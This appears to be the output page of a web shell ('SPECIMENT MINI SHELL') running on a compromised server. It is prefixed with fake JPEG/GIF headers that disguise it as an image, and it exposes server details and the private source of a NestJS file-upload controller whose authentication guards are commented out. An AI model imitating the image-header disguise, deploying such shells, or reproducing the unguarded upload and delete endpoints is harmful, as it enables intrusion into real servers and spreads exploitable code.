ÿØÿà JFIF  H H ÿÛ C   GIF89; Eú tiket mi chék chéúfetál .

Eú tiket mi chék chéúfetál .

System: Linux srv913213 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64

Current Path : /var/www/talentgenesis_admin_backend/src/image-upload/
Upload File :
Current File : /var/www/talentgenesis_admin_backend/src/image-upload/aws_upload.controller.ts

import {
  Controller,
  Delete,
  Get,
  Param,
  Post,
  Req,
  Res,
  UploadedFile,
  UseGuards,
  UseInterceptors,
} from '@nestjs/common';
import { AwsService } from './aws_upload.service';
import { Express } from 'express';
import { FileInterceptor } from '@nestjs/platform-express';
import { ApiBearerAuth, ApiBody, ApiConsumes, ApiTags } from '@nestjs/swagger';
import { AuthGuard } from 'src/guards/auth.guard';
import { Roles } from 'src/decorators/role.decorator';
import * as multer from 'multer';

@ApiTags('File-Upload')
// @ApiBearerAuth()
// @UseGuards(AuthGuard)
@Controller('/upload')
export class AwsController {
  constructor(private readonly awsService: AwsService) {}


  @Roles('file_upload')
@Post()
@ApiConsumes('multipart/form-data')
@ApiBody({
  schema: {
    type: 'object',
    properties: {
      file: { type: 'string', format: 'binary' },
    },
  },
})
@UseInterceptors(FileInterceptor('file', { storage: multer.memoryStorage() }))
async uploadFile(@UploadedFile() file: Express.Multer.File) {

  if (!file) {
    return { status: false, message: "No file received" };
  }

  return this.awsService.uploadPublicFile(
    file.buffer,
    file.originalname,
    file.mimetype
  );
}


// ========================== EVENTS UPLOAD ===============================

@Roles('file_upload')
@Post('events')
@ApiConsumes('multipart/form-data')
@ApiBody({
  schema: {
    type: 'object',
    properties: {
      file: { type: 'string', format: 'binary' },
    },
  },
})
@UseInterceptors(FileInterceptor('file', { storage: multer.memoryStorage() }))
async uploadFileEvents(@UploadedFile() file: Express.Multer.File) {

  if (!file) {
    return { status: false, message: "No file received" };
  }

  const imageFormats = ['image/jpeg', 'image/jpg', 'image/png'];
  const maxImageSize = 20 * 1024 * 1024;

  const videoFormat = 'video/mp4';
  const maxVideoSize = 50 * 1024 * 1024;

  if (imageFormats.includes(file.mimetype)) {
    if (file.size > maxImageSize) {
      return { status: false, message: 'Image file size exceeds 20MB limit.' };
    }
  } else if (file.mimetype === videoFormat) {
    if (file.size > maxVideoSize) {
      return { status: false, message: 'Video file size exceeds 50MB limit.' };
    }
  } else {
    return {
      status: false,
      message: 'Unsupported file format. Allowed: JPEG, JPG, PNG, MP4.',
    };
  }

  return this.awsService.uploadPublicFile(
    file.buffer,
    file.originalname,
    file.mimetype
  );
}


// ========================== AGREEMENT UPLOAD ===============================

@Roles('file_upload')
@Post('file-agrement')
@ApiConsumes('multipart/form-data')
@ApiBody({
  schema: {
    type: 'object',
    properties: {
      file: { type: 'string', format: 'binary' },
    },
  },
})
@UseInterceptors(FileInterceptor('file', { storage: multer.memoryStorage() }))
async uploadAgrement(@UploadedFile() file: Express.Multer.File) {

  if (!file) {
    return { status: false, message: "No file received" };
  }

  const allowedFormats = [
    'image/png',
    'image/jpeg',
    'image/jpg',
    'application/pdf',
    'application/msword',
    'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
    'application/rtf',
    'text/plain'
  ];

  const maxFileSize = 250 * 1024;

  if (!allowedFormats.includes(file.mimetype)) {
    return {
      status: false,
      message:
        'Invalid file format. Allowed: PDF, DOC, DOCX, TXT, RTF, PNG, JPEG, JPG.',
    };
  }

  if (file.size > maxFileSize) {
    return { status: false, message: 'Upload the file within 250KB' };
  }

  return this.awsService.uploadPublicFile(
    file.buffer,
    file.originalname,
    file.mimetype
  );
}

  @Roles('file_upload')
  @Delete('/:key')
  async deleteFile(@Param('key') fileKey: string) {
    return this.awsService.deletePublicFile(fileKey);
  }


  @Roles('file_upload')
  @Get('/download/:key')
  async getFile(@Param('key') fileKey: string,@Res() res) {
    return this.awsService.getPublicFile(fileKey,res);
  }
}

xxxxx1.0, XXX xxxx
SPECIMENT MINI SHELL - RECODED FROM PHANTOM GHOST